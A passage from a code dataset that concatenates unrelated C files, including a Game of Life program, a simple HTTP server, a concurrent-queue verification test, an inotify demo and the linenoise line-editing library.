} } } void destroyworld(world_t *world) { free(world->mem); } int createworld(world_t *world, int width, int height) { int i, j; unsigned long base = sizeof(cell_t *) * height; unsigned long rowlen = sizeof(cell_t) * width; if(!(world->mem = calloc(base + (rowlen * height), 1))) return 0; world->array = world->mem; world->width = width; world->height = height; for(i = 0; i < height; i++) { world->array[i] = world->mem + base + (i * rowlen); } for(i = 0; i < height; i++) { for(j = 0; j < width; j++) { if(j != 0) { (world->array[i][j]).neighbours[3] = &(world->array[i][j - 1]); } if(i != 0) { (world->array[i][j]).neighbours[1] = &(world->array[i - 1][j]); } if(j != (width - 1)) { (world->array[i][j]).neighbours[4] = &(world->array[i][j + 1]); } if(i != (height - 1)) { (world->array[i][j]).neighbours[6] = &(world->array[i + 1][j]); } if((i != 0) && (j != 0)) { (world->array[i][j]).neighbours[0] = &(world->array[i - 1][j - 1]); } if((i != (height - 1)) && (j != (width - 1))) { (world->array[i][j]).neighbours[7] = &(world->array[i + 1][j + 1]); } if((i != (height - 1)) && (j != 0)) { (world->array[i][j]).neighbours[5] = &(world->array[i + 1][j - 1]); } if((i != 0) && (j != (width - 1))) { (world->array[i][j]).neighbours[2] = &(world->array[i - 1][j + 1]); } } } return 1; } int main(int argc, char *argv[]) { world_t gameoflife; if(createworld(&gameoflife, 79, 24)) { randomizeworld(&gameoflife); do { printworld(&gameoflife, stdout); getchar(); fflush(stdin); system("clear"); updateworld(&gameoflife); } while(1); destroyworld(&gameoflife); } return 0; }
the_stack_data/1217357.c
// Copyright (c) 2017 Brian Barto // // This program is free software; you can redistribute it and/or modify it // under the terms of the MIT License. See LICENSE for more details. /* * MODULE DESCRIPTION * * The mainsocket module stores and provides access to the main socket * file descriptor, as an integer value. For the client, this is the * socket used to communicate with the server. For the server, this is * the socket used to listen for new connections. */ /* * Static Variables */ static int mainsocket; /* * Initialize the mainsocket static variable to NULL (zero). */ void mainsocket_init(void) { mainsocket = 0; } /* * Store the integer value for the main socket file descriptor. */ void mainsocket_set(int n) { mainsocket = n; } /* * Return the integer value for the main socket file descriptor. */ int mainsocket_get(void) { return mainsocket; }
the_stack_data/153267690.c
/* server version 1: 阻塞型server */ #include <ctype.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h> #define PORT 9001 #define QUEUE_MAX_COUNT 5 #define BUFF_SIZE 1024 #define SERVER_STRING "Server: hoohackhttpd/0.1.0\r\n" int main() { /* 定义server和client的文件描述符 */ int server_sockfd = -1; int client_sockfd = -1; u_short port = PORT; struct sockaddr_in client_name; struct sockaddr_in server_name; socklen_t client_name_len = sizeof(client_name); char buf[BUFF_SIZE]; char recv_buf[BUFF_SIZE]; char hello_str[] = "Hello world!"; int hello_len = 0; server_sockfd = socket(AF_INET, SOCK_STREAM, 0); if (server_sockfd == -1) { perror("socket"); exit(-1); } memset(&server_name, 0, sizeof(server_name)); server_name.sin_family = AF_INET; server_name.sin_port = htons(PORT); server_name.sin_addr.s_addr = htonl(INADDR_ANY); if (bind(server_sockfd, (struct sockaddr *)&server_name, sizeof(server_name)) < 0) { perror("bind"); exit(-1); } if (listen(server_sockfd, QUEUE_MAX_COUNT) < 0) { perror("listen"); exit(-1); } printf("http server running on port %d\n", port); while (1) { if ((client_sockfd = accept(server_sockfd, (struct sockaddr *)&client_name, &client_name_len)) < 0) { perror("accept"); exit(-1); } printf("accept a client\n"); hello_len = recv(client_sockfd, recv_buf, BUFF_SIZE, 0); printf("receive %d\n", hello_len); sprintf(buf, "HTTP/1.0 200 OK\r\n"); write(client_sockfd, buf, strlen(buf)); strcpy(buf, SERVER_STRING); write(client_sockfd, buf, strlen(buf)); sprintf(buf, "Content-Type: text/html\r\n"); write(client_sockfd, buf, strlen(buf)); strcpy(buf, "\r\n"); write(client_sockfd, buf, strlen(buf)); sprintf(buf, "Hello World\r\n"); write(client_sockfd, buf, strlen(buf)); printf("%s\n", buf); close(client_sockfd); } close(server_sockfd); return 0; }
the_stack_data/97012511.c
extern void __VERIFIER_error() __attribute__ ((__noreturn__)); #include <pthread.h> #include <stdio.h> #include <assert.h> #define SIZE (400) #define EMPTY (-1) #define FULL (-2) #define FALSE (0) #define TRUE (1) typedef struct { int element[SIZE]; int head; int tail; int amount; } QType; pthread_mutex_t m; int __VERIFIER_nondet_int(); int stored_elements[SIZE]; _Bool enqueue_flag, dequeue_flag; QType queue; int init(QType *q) { q->head=0; q->tail=0; q->amount=0; } int empty(QType * q) { if (q->head == q->tail) { printf("queue is empty\n"); return EMPTY; } else return 0; } int full(QType * q) { if (q->amount == SIZE) { printf("queue is full\n"); return FULL; } else return 0; } int enqueue(QType *q, int x) { q->element[q->tail] = x; q->amount++; if (q->tail == SIZE) { q->tail = 1; } else { q->tail++; } return 0; } int dequeue(QType *q) { int x; x = q->element[q->head]; q->amount--; if (q->head == SIZE) { q->head = 1; } else q->head++; return x; } void *t1(void *arg) { int value, i; pthread_mutex_lock(&m); value = __VERIFIER_nondet_int(); if (enqueue(&queue,value)) { goto ERROR; } stored_elements[0]=value; if (empty(&queue)) { goto ERROR; } pthread_mutex_unlock(&m); for(i=0; i<(SIZE-1); i++) { pthread_mutex_lock(&m); if (enqueue_flag) { value = __VERIFIER_nondet_int(); enqueue(&queue,value); stored_elements[i+1]=value; enqueue_flag=FALSE; dequeue_flag=TRUE; } pthread_mutex_unlock(&m); } return NULL; ERROR:__VERIFIER_error(); } void *t2(void *arg) { int i; for(i=0; i<SIZE; i++) { pthread_mutex_lock(&m); if (dequeue_flag) { if (!dequeue(&queue)==stored_elements[i]) { ERROR:__VERIFIER_error(); } dequeue_flag=FALSE; enqueue_flag=TRUE; } pthread_mutex_unlock(&m); } return NULL; } int main(void) { pthread_t id1, id2; enqueue_flag=TRUE; dequeue_flag=FALSE; init(&queue); if (!empty(&queue)==EMPTY) { ERROR:__VERIFIER_error(); } pthread_mutex_init(&m, 0); pthread_create(&id1, NULL, t1, &queue); pthread_create(&id2, NULL, t2, &queue); pthread_join(id1, NULL); pthread_join(id2, NULL); return 0; }
the_stack_data/11292.c
#define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int /*<<< orphan*/ wchar_t ; struct quoting_options {int* quote_these_too; } ; typedef int /*<<< orphan*/ mbstate_t ; typedef enum quoting_style { ____Placeholder_quoting_style } quoting_style ; /* Variables and functions */ #define ALERT_CHAR 134 unsigned char INT_BITS ; int ISPRINT (unsigned char) ; int MB_CUR_MAX ; int /*<<< orphan*/ N_ (char*) ; int /*<<< orphan*/ STORE (char const) ; #define c_quoting_style 133 #define clocale_quoting_style 132 #define escape_quoting_style 131 char* gettext_quote (int /*<<< orphan*/ ,int) ; int /*<<< orphan*/ iswprint (int /*<<< orphan*/ ) ; #define locale_quoting_style 130 size_t mbrtowc (int /*<<< orphan*/ *,char const*,int /*<<< orphan*/ ,int /*<<< orphan*/ *) ; int /*<<< orphan*/ mbsinit (int /*<<< orphan*/ *) ; scalar_t__ memcmp (char const*,char const*,size_t) ; int /*<<< orphan*/ memset (int /*<<< orphan*/ *,int /*<<< orphan*/ ,int) ; #define shell_always_quoting_style 129 #define shell_quoting_style 128 size_t strlen (char const*) ; __attribute__((used)) static size_t quotearg_buffer_restyled (char *buffer, size_t buffersize, char const *arg, size_t argsize, enum quoting_style quoting_style, struct quoting_options const *o) { size_t i; size_t len = 0; char const *quote_string = 0; size_t quote_string_len = 0; int backslash_escapes = 0; int unibyte_locale = MB_CUR_MAX == 1; #define STORE(c) \ do \ { \ if (len < buffersize) \ buffer[len] = (c); \ len++; \ } \ while (0) switch (quoting_style) { case c_quoting_style: STORE ('"'); backslash_escapes = 1; quote_string = "\""; quote_string_len = 1; break; case escape_quoting_style: backslash_escapes = 1; break; case locale_quoting_style: case clocale_quoting_style: { /* Get translations for open and closing quotation marks. The message catalog should translate "`" to a left quotation mark suitable for the locale, and similarly for "'". If the catalog has no translation, locale_quoting_style quotes `like this', and clocale_quoting_style quotes "like this". For example, an American English Unicode locale should translate "`" to U+201C (LEFT DOUBLE QUOTATION MARK), and should translate "'" to U+201D (RIGHT DOUBLE QUOTATION MARK). A British English Unicode locale should instead translate these to U+2018 (LEFT SINGLE QUOTATION MARK) and U+2019 (RIGHT SINGLE QUOTATION MARK), respectively. */ char const *left = gettext_quote (N_("`"), quoting_style); char const *right = gettext_quote (N_("'"), quoting_style); for (quote_string = left; *quote_string; quote_string++) STORE (*quote_string); backslash_escapes = 1; quote_string = right; quote_string_len = strlen (quote_string); } break; case shell_always_quoting_style: STORE ('\''); quote_string = "'"; quote_string_len = 1; break; default: break; } for (i = 0; ! (argsize == (size_t) -1 ? arg[i] == '\0' : i == argsize); i++) { unsigned char c; unsigned char esc; if (backslash_escapes && quote_string_len && i + quote_string_len <= argsize && memcmp (arg + i, quote_string, quote_string_len) == 0) STORE ('\\'); c = arg[i]; switch (c) { case '?': switch (quoting_style) { case shell_quoting_style: goto use_shell_always_quoting_style; case c_quoting_style: if (i + 2 < argsize && arg[i + 1] == '?') switch (arg[i + 2]) { case '!': case '\'': case '(': case ')': case '-': case '/': case '<': case '=': case '>': /* Escape the second '?' in what would otherwise be a trigraph. */ i += 2; c = arg[i + 2]; STORE ('?'); STORE ('\\'); STORE ('?'); break; } break; default: break; } break; case ALERT_CHAR: esc = 'a'; goto c_escape; case '\b': esc = 'b'; goto c_escape; case '\f': esc = 'f'; goto c_escape; case '\n': esc = 'n'; goto c_and_shell_escape; case '\r': esc = 'r'; goto c_and_shell_escape; case '\t': esc = 't'; goto c_and_shell_escape; case '\v': esc = 'v'; goto c_escape; case '\\': esc = c; goto c_and_shell_escape; c_and_shell_escape: if (quoting_style == shell_quoting_style) goto use_shell_always_quoting_style; c_escape: if (backslash_escapes) { c = esc; goto store_escape; } break; case '#': case '~': if (i != 0) break; /* Fall through. */ case ' ': case '!': /* special in bash */ case '"': case '$': case '&': case '(': case ')': case '*': case ';': case '<': case '>': case '[': case '^': /* special in old /bin/sh, e.g. SunOS 4.1.4 */ case '`': case '|': /* A shell special character. In theory, '$' and '`' could be the first bytes of multibyte characters, which means we should check them with mbrtowc, but in practice this doesn't happen so it's not worth worrying about. */ if (quoting_style == shell_quoting_style) goto use_shell_always_quoting_style; break; case '\'': switch (quoting_style) { case shell_quoting_style: goto use_shell_always_quoting_style; case shell_always_quoting_style: STORE ('\''); STORE ('\\'); STORE ('\''); break; default: break; } break; case '%': case '+': case ',': case '-': case '.': case '/': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': case ':': case '=': case 'A': case 'B': case 'C': case 'D': case 'E': case 'F': case 'G': case 'H': case 'I': case 'J': case 'K': case 'L': case 'M': case 'N': case 'O': case 'P': case 'Q': case 'R': case 'S': case 'T': case 'U': case 'V': case 'W': case 'X': case 'Y': case 'Z': case ']': case '_': case 'a': case 'b': case 'c': case 'd': case 'e': case 'f': case 'g': case 'h': case 'i': case 'j': case 'k': case 'l': case 'm': case 'n': case 'o': case 'p': case 'q': case 'r': case 's': case 't': case 'u': case 'v': case 'w': case 'x': case 'y': case 'z': case '{': case '}': /* These characters don't cause problems, no matter what the quoting style is. They cannot start multibyte sequences. */ break; default: /* If we have a multibyte sequence, copy it until we reach its end, find an error, or come back to the initial shift state. For C-like styles, if the sequence has unprintable characters, escape the whole sequence, since we can't easily escape single characters within it. */ { /* Length of multibyte sequence found so far. */ size_t m; int printable; if (unibyte_locale) { m = 1; printable = ISPRINT (c); } else { mbstate_t mbstate; memset (&mbstate, 0, sizeof mbstate); m = 0; printable = 1; if (argsize == (size_t) -1) argsize = strlen (arg); do { wchar_t w; size_t bytes = mbrtowc (&w, &arg[i + m], argsize - (i + m), &mbstate); if (bytes == 0) break; else if (bytes == (size_t) -1) { printable = 0; break; } else if (bytes == (size_t) -2) { printable = 0; while (i + m < argsize && arg[i + m]) m++; break; } else { if (! iswprint (w)) printable = 0; m += bytes; } } while (! mbsinit (&mbstate)); } if (1 < m || (backslash_escapes && ! printable)) { /* Output a multibyte sequence, or an escaped unprintable unibyte character. */ size_t ilim = i + m; for (;;) { if (backslash_escapes && ! printable) { STORE ('\\'); STORE ('0' + (c >> 6)); STORE ('0' + ((c >> 3) & 7)); c = '0' + (c & 7); } if (ilim <= i + 1) break; STORE (c); c = arg[++i]; } goto store_c; } } } if (! (backslash_escapes && o->quote_these_too[c / INT_BITS] & (1 << (c % INT_BITS)))) goto store_c; store_escape: STORE ('\\'); store_c: STORE (c); } if (quote_string) for (; *quote_string; quote_string++) STORE (*quote_string); if (len < buffersize) buffer[len] = '\0'; return len; use_shell_always_quoting_style: return quotearg_buffer_restyled (buffer, buffersize, arg, argsize, shell_always_quoting_style, o); }
the_stack_data/97013699.c
#include <ctype.h> #include <stdio.h> float add(float a, float b); float sub(float a, float b); float mult(float a, float b); float div(float a, float b); int main() { float user1 = 0, user2 = 0; char operation; printf("Enter first number:"); scanf_s("%f", &user1); printf("Enter second number:"); scanf_s("%f", &user2); printf("Choose your operation (+-*/):"); scanf_s(" %c", &operation); switch (operation) { default: puts("Invalid operation"); break; case '+': printf("%f + %f = %f", user1, user2, add(user1, user2)); break; case '-': printf("%f - %f = %f", user1, user2, sub(user1, user2)); break; case '*': printf("%f * %f = %f", user1, user2, mult(user1, user2)); break; case '/': printf("%f / %f = %f", user1, user2, div(user1, user2)); break; } return 0; } float add(float a, float b) { return a + b; } float sub(float a, float b) { return a - b; } float mult(float a, float b) { return a * b; } float div(float a, float b) { return a / b; }
the_stack_data/3263809.c
/* This testcase is part of GDB, the GNU debugger. Copyright 2011-2015 Free Software Foundation, Inc. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include <pthread.h> int main (void) { /* Ensure we link against pthreads even with --as-needed. */ pthread_testcancel(); return 0; }
the_stack_data/119723.c
int main(void) { int x = 3; // integer to float. float y = x + 1.0f; // float to integer. float a = 2.2f; int b = (int)a; // int to long. long int lb = (long int)b; return y == 0.0f; }
the_stack_data/776997.c
// RUN: %clang_analyze_cc1 \ // RUN: -analyzer-checker=core,apiModeling.StdCLibraryFunctions \ // RUN: -analyzer-config apiModeling.StdCLibraryFunctions:ModelPOSIX=true \ // RUN: -verify %s // // expected-no-diagnostics typedef long off_t; typedef long long off64_t; typedef unsigned long size_t; void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset); void *mmap64(void *addr, size_t length, int prot, int flags, int fd, off64_t offset); void test(long len) { mmap(0, len, 2, 1, 0, 0); // no-crash mmap64(0, len, 2, 1, 0, 0); // no-crash }
the_stack_data/154828804.c
#include <stdio.h> /* prints input one word per line */ main() { int c; int prev_c = 0; while ((c = getchar()) != EOF) { if ((prev_c == ' ' || prev_c == '\n' || prev_c == '\t') && (c == ' ' || c == '\n' || c == '\t')) { } else if (c == ' ' || c == '\n' || c == '\t') { putchar('\n'); } else { putchar(c); } prev_c = c; } putchar('\n'); }
the_stack_data/68887649.c
/*************************************************************************\ * Copyright (C) Michael Kerrisk, 2016. * * * * This program is free software. You may use, modify, and redistribute it * * under the terms of the GNU General Public License as published by the * * Free Software Foundation, either version 3 or (at your option) any * * later version. This program is distributed without any warranty. See * * the file COPYING.gpl-v3 for details. * \*************************************************************************/ #include <sys/inotify.h> #include <limits.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static void /* Display information from inotify_event structure */ displayInotifyEvent(struct inotify_event *i) { printf(" wd =%2d; ", i->wd); if (i->cookie > 0) printf("cookie =%4d; ", i->cookie); printf("mask = "); if (i->mask & IN_ACCESS) printf("IN_ACCESS "); if (i->mask & IN_ATTRIB) printf("IN_ATTRIB "); if (i->mask & IN_CLOSE_NOWRITE) printf("IN_CLOSE_NOWRITE "); if (i->mask & IN_CLOSE_WRITE) printf("IN_CLOSE_WRITE "); if (i->mask & IN_CREATE) printf("IN_CREATE "); if (i->mask & IN_DELETE) printf("IN_DELETE "); if (i->mask & IN_DELETE_SELF) printf("IN_DELETE_SELF "); if (i->mask & IN_IGNORED) printf("IN_IGNORED "); if (i->mask & IN_ISDIR) printf("IN_ISDIR "); if (i->mask & IN_MODIFY) printf("IN_MODIFY "); if (i->mask & IN_MOVE_SELF) printf("IN_MOVE_SELF "); if (i->mask & IN_MOVED_FROM) printf("IN_MOVED_FROM "); if (i->mask & IN_MOVED_TO) printf("IN_MOVED_TO "); if (i->mask & IN_OPEN) printf("IN_OPEN "); if (i->mask & IN_Q_OVERFLOW) printf("IN_Q_OVERFLOW "); if (i->mask & IN_UNMOUNT) printf("IN_UNMOUNT "); printf("\n"); if (i->len > 0) printf(" name = %s\n", i->name); } #define BUF_LEN (10 * (sizeof(struct inotify_event) + NAME_MAX + 1)) void errExit(char *message) { printf("%s\n", message); exit(EXIT_FAILURE); } int main(int argc, char *argv[]) { int inotifyFd, wd, j; char buf[BUF_LEN] __attribute__ ((aligned(8))); ssize_t numRead; char *p; struct inotify_event *event; if (argc < 2 || strcmp(argv[1], "--help") == 0) errExit("pathname"); inotifyFd = inotify_init(); /* Create inotify instance */ if (inotifyFd == -1) errExit("inotify_init"); for (j = 1; j < argc; j++) { wd = inotify_add_watch(inotifyFd, argv[j], IN_ALL_EVENTS); if (wd == -1) errExit("inotify_add_watch"); printf("Watching %s using wd %d\n", argv[j], wd); } for (;;) { /* Read events forever */ numRead = read(inotifyFd, buf, BUF_LEN); if (numRead == 0) printf("read() from inotify fd returned 0!"); if (numRead == -1) errExit("read"); printf("Read %ld bytes from inotify fd\n", (long) numRead); /* Process all of the events in buffer returned by read() */ for (p = buf; p < buf + numRead; ) { event = (struct inotify_event *) p; displayInotifyEvent(event); p += sizeof(struct inotify_event) + event->len; } } exit(EXIT_SUCCESS); }
the_stack_data/173032.c
/* linenoise.c -- guerrilla line editing library against the idea that a * line editing lib needs to be 20,000 lines of C code. * * You can find the latest source code at: * * http://github.com/antirez/linenoise * * Does a number of crazy assumptions that happen to be true in 99.9999% of * the 2010 UNIX computers around. * * Copyright (c) 2010, Salvatore Sanfilippo <antirez at gmail dot com> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of Redis nor the names of its contributors may be used * to endorse or promote products derived from this software without * specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * References: * - http://invisible-island.net/xterm/ctlseqs/ctlseqs.html * - http://www.3waylabs.com/nw/WWW/products/wizcon/vt220.html * * Todo list: * - Switch to gets() if $TERM is something we can't support. * - Filter bogus Ctrl+<char> combinations. * - Win32 support * * Bloat: * - Completion? * - History search like Ctrl+r in readline? * * List of escape sequences used by this program, we do everything just * with three sequences. In order to be so cheap we may have some * flickering effect with some slow terminal, but the lesser sequences * the more compatible. * * CHA (Cursor Horizontal Absolute) * Sequence: ESC [ n G * Effect: moves cursor to column n * * EL (Erase Line) * Sequence: ESC [ n K * Effect: if n is 0 or missing, clear from cursor to end of line * Effect: if n is 1, clear from beginning of line to cursor * Effect: if n is 2, clear entire line * * CUF (CUrsor Forward) * Sequence: ESC [ n C * Effect: moves cursor forward of n chars * */ #include <termios.h> #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <errno.h> #include <string.h> #include <stdlib.h> #include <sys/types.h> #include <sys/ioctl.h> #include <unistd.h> #define LINENOISE_DEFAULT_HISTORY_MAX_LEN 100 #define LINENOISE_MAX_LINE 4096 static char *unsupported_term[] = {"dumb","cons25",NULL}; static struct termios orig_termios; /* in order to restore at exit */ static int rawmode = 0; /* for atexit() function to check if restore is needed*/ static int atexit_registered = 0; /* register atexit just 1 time */ static int history_max_len = LINENOISE_DEFAULT_HISTORY_MAX_LEN; static int history_len = 0; char **history = NULL; static void linenoiseAtExit(void); int linenoiseHistoryAdd(const char *line); static int isUnsupportedTerm(void) { char *term = getenv("TERM"); int j; if (term == NULL) return 0; for (j = 0; unsupported_term[j]; j++) if (!strcasecmp(term,unsupported_term[j])) return 1; return 0; } static void freeHistory(void) { if (history) { int j; for (j = 0; j < history_len; j++) free(history[j]); free(history); } } static int enableRawMode(int fd) { struct termios raw; if (!isatty(STDIN_FILENO)) goto fatal; if (!atexit_registered) { atexit(linenoiseAtExit); atexit_registered = 1; } if (tcgetattr(fd,&orig_termios) == -1) goto fatal; raw = orig_termios; /* modify the original mode */ /* input modes: no break, no CR to NL, no parity check, no strip char, * no start/stop output control. */ raw.c_iflag &= ~(BRKINT | ICRNL | INPCK | ISTRIP | IXON); /* output modes - disable post processing */ raw.c_oflag &= ~(OPOST); /* control modes - set 8 bit chars */ raw.c_cflag |= (CS8); /* local modes - choing off, canonical off, no extended functions, * no signal chars (^Z,^C) */ raw.c_lflag &= ~(ECHO | ICANON | IEXTEN | ISIG); /* control chars - set return condition: min number of bytes and timer. * We want read to return every single byte, without timeout. */ raw.c_cc[VMIN] = 1; raw.c_cc[VTIME] = 0; /* 1 byte, no timer */ /* put terminal in raw mode after flushing */ if (tcsetattr(fd,TCSAFLUSH,&raw) < 0) goto fatal; rawmode = 1; return 0; fatal: errno = ENOTTY; return -1; } static void disableRawMode(int fd) { /* Don't even check the return value as it's too late. */ if (rawmode && tcsetattr(fd,TCSAFLUSH,&orig_termios) != -1) rawmode = 0; } /* At exit we'll try to fix the terminal to the initial conditions. */ static void linenoiseAtExit(void) { disableRawMode(STDIN_FILENO); freeHistory(); } static int getColumns(void) { struct winsize ws; if (ioctl(1, TIOCGWINSZ, &ws) == -1) return 80; return ws.ws_col; } static void refreshLine(int fd, const char *prompt, char *buf, size_t len, size_t pos, size_t cols) { char seq[64]; size_t plen = strlen(prompt); while((plen+pos) >= cols) { buf++; len--; pos--; } while (plen+len > cols) { len--; } /* Cursor to left edge */ snprintf(seq,64,"\x1b[0G"); if (write(fd,seq,strlen(seq)) == -1) return; /* Write the prompt and the current buffer content */ if (write(fd,prompt,strlen(prompt)) == -1) return; if (write(fd,buf,len) == -1) return; /* Erase to right */ snprintf(seq,64,"\x1b[0K"); if (write(fd,seq,strlen(seq)) == -1) return; /* Move cursor to original position. */ snprintf(seq,64,"\x1b[0G\x1b[%dC", (int)(pos+plen)); if (write(fd,seq,strlen(seq)) == -1) return; } static int linenoisePrompt(int fd, char *buf, size_t buflen, const char *prompt) { size_t plen = strlen(prompt); size_t pos = 0; size_t len = 0; size_t cols = getColumns(); int history_index = 0; buf[0] = '\0'; buflen--; /* Make sure there is always space for the nulterm */ /* The latest history entry is always our current buffer, that * initially is just an empty string. */ linenoiseHistoryAdd(""); if (write(fd,prompt,plen) == -1) return -1; while(1) { char c; int nread; char seq[2]; nread = read(fd,&c,1); if (nread <= 0) return len; switch(c) { case 13: /* enter */ case 4: /* ctrl-d */ history_len--; free(history[history_len]); return (len == 0 && c == 4) ? -1 : (int)len; case 3: /* ctrl-c */ errno = EAGAIN; return -1; case 127: /* backspace */ case 8: /* ctrl-h */ if (pos > 0 && len > 0) { memmove(buf+pos-1,buf+pos,len-pos); pos--; len--; buf[len] = '\0'; refreshLine(fd,prompt,buf,len,pos,cols); } break; case 20: /* ctrl-t */ if (pos > 0 && pos < len) { int aux = buf[pos-1]; buf[pos-1] = buf[pos]; buf[pos] = aux; if (pos != len-1) pos++; refreshLine(fd,prompt,buf,len,pos,cols); } break; case 2: /* ctrl-b */ goto left_arrow; case 6: /* ctrl-f */ goto right_arrow; case 16: /* ctrl-p */ seq[1] = 65; goto up_down_arrow; case 14: /* ctrl-n */ seq[1] = 66; goto up_down_arrow; break; case 27: /* escape sequence */ if (read(fd,seq,2) == -1) break; if (seq[0] == 91 && seq[1] == 68) { left_arrow: /* left arrow */ if (pos > 0) { pos--; refreshLine(fd,prompt,buf,len,pos,cols); } } else if (seq[0] == 91 && seq[1] == 67) { right_arrow: /* right arrow */ if (pos != len) { pos++; refreshLine(fd,prompt,buf,len,pos,cols); } } else if (seq[0] == 91 && (seq[1] == 65 || seq[1] == 66)) { up_down_arrow: /* up and down arrow: history */ if (history_len > 1) { /* Update the current history entry before to * overwrite it with tne next one. */ free(history[history_len-1-history_index]); history[history_len-1-history_index] = strdup(buf); /* Show the new entry */ history_index += (seq[1] == 65) ? 1 : -1; if (history_index < 0) { history_index = 0; break; } else if (history_index >= history_len) { history_index = history_len-1; break; } strncpy(buf,history[history_len-1-history_index],buflen); buf[buflen] = '\0'; len = pos = strlen(buf); refreshLine(fd,prompt,buf,len,pos,cols); } } break; default: if (len < buflen) { if (len == pos) { buf[pos] = c; pos++; len++; buf[len] = '\0'; if (plen+len < cols) { /* Avoid a full update of the line in the * trivial case. */ if (write(fd,&c,1) == -1) return -1; } else { refreshLine(fd,prompt,buf,len,pos,cols); } } else { memmove(buf+pos+1,buf+pos,len-pos); buf[pos] = c; len++; pos++; buf[len] = '\0'; refreshLine(fd,prompt,buf,len,pos,cols); } } break; case 21: /* Ctrl+u, delete the whole line. */ buf[0] = '\0'; pos = len = 0; refreshLine(fd,prompt,buf,len,pos,cols); break; case 11: /* Ctrl+k, delete from current to end of line. */ buf[pos] = '\0'; len = pos; refreshLine(fd,prompt,buf,len,pos,cols); break; case 1: /* Ctrl+a, go to the start of the line */ pos = 0; refreshLine(fd,prompt,buf,len,pos,cols); break; case 5: /* ctrl+e, go to the end of the line */ pos = len; refreshLine(fd,prompt,buf,len,pos,cols); break; } } return len; } static int linenoiseRaw(char *buf, size_t buflen, const char *prompt) { int fd = STDIN_FILENO; int count; if (buflen == 0) { errno = EINVAL; return -1; } if (!isatty(STDIN_FILENO)) { if (fgets(buf, buflen, stdin) == NULL) return -1; count = strlen(buf); if (count && buf[count-1] == '\n') { count--; buf[count] = '\0'; } } else { if (enableRawMode(fd) == -1) return -1; count = linenoisePrompt(fd, buf, buflen, prompt); disableRawMode(fd); printf("\n"); } return count; } char *linenoise(const char *prompt) { char buf[LINENOISE_MAX_LINE]; int count; if (isUnsupportedTerm()) { size_t len; printf("%s",prompt); fflush(stdout); if (fgets(buf,LINENOISE_MAX_LINE,stdin) == NULL) return NULL; len = strlen(buf); while(len && (buf[len-1] == '\n' || buf[len-1] == '\r')) { len--; buf[len] = '\0'; } return strdup(buf); } else { count = linenoiseRaw(buf,LINENOISE_MAX_LINE,prompt); if (count == -1) return NULL; return strdup(buf); } } /* Using a circular buffer is smarter, but a bit more complex to handle. */ int linenoiseHistoryAdd(const char *line) { char *linecopy; if (history_max_len == 0) return 0; if (history == NULL) { history = malloc(sizeof(char*)*history_max_len); if (history == NULL) return 0; memset(history,0,(sizeof(char*)*history_max_len)); } linecopy = strdup(line); if (!linecopy) return 0; if (history_len == history_max_len) { free(history[0]); memmove(history,history+1,sizeof(char*)*(history_max_len-1)); history_len--; } history[history_len] = linecopy; history_len++; return 1; } int linenoiseHistorySetMaxLen(int len) { char **new; if (len < 1) return 0; if (history) { int tocopy = history_len; new = malloc(sizeof(char*)*len); if (new == NULL) return 0; if (len < tocopy) tocopy = len; memcpy(new,history+(history_max_len-tocopy), sizeof(char*)*tocopy); free(history); history = new; } history_max_len = len; if (history_len > history_max_len) history_len = history_max_len; return 1; } /* Save the history in the specified file. On success 0 is returned * otherwise -1 is returned. */ int linenoiseHistorySave(char *filename) { FILE *fp = fopen(filename,"w"); int j; if (fp == NULL) return -1; for (j = 0; j < history_len; j++) fprintf(fp,"%s\n",history[j]); fclose(fp); return 0; } /* Load the history from the specified file. If the file does not exist * zero is returned and no operation is performed. * * If the file exists and the operation succeeded 0 is returned, otherwise * on error -1 is returned. */ int linenoiseHistoryLoad(char *filename) { FILE *fp = fopen(filename,"r"); char buf[LINENOISE_MAX_LINE]; if (fp == NULL) return -1; while (fgets(buf,LINENOISE_MAX_LINE,fp) != NULL) { char *p; p = strchr(buf,'\r'); if (!p) p = strchr(buf,'\n'); if (p) *p = '\0'; linenoiseHistoryAdd(buf); } fclose(fp); return 0; }
the_stack_data/154774.c
